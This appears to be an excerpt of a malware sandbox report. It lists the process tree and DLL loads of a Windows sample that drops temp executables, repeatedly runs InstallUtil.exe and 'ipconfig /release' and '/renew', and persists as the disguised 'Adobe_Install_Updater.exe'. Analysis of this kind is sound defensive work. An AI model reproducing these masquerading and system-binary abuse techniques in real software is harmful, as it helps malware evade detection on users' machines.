Source: C:\Users\user\Desktop\rthh9q2PDv.exe Process created: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe "C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe"
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe"
Source: C:\Users\user\AppData\Local\Temp\build.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown Process created: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe "C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown Process created: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe "C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe "C:\Users\user\AppData\Local\Temp\Plain_Checker.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\System32\conhost.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\System32\conhost.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\System32\conhost.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown Process created: C:\Users\user\AppData\Roaming\Yftssfzf.exe "C:\Users\user\AppData\Roaming\Yftssfzf.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown Process created: C:\Users\user\AppData\Roaming\Yftssfzf.exe "C:\Users\user\AppData\Roaming\Yftssfzf.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Process created: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe "C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Users\user\AppData\Local\Temp\build.exe "C:\Users\user\AppData\Local\Temp\build.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe "C:\Users\user\AppData\Local\Temp\Plain_Checker.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wtsapi32.dll Jump to behavior
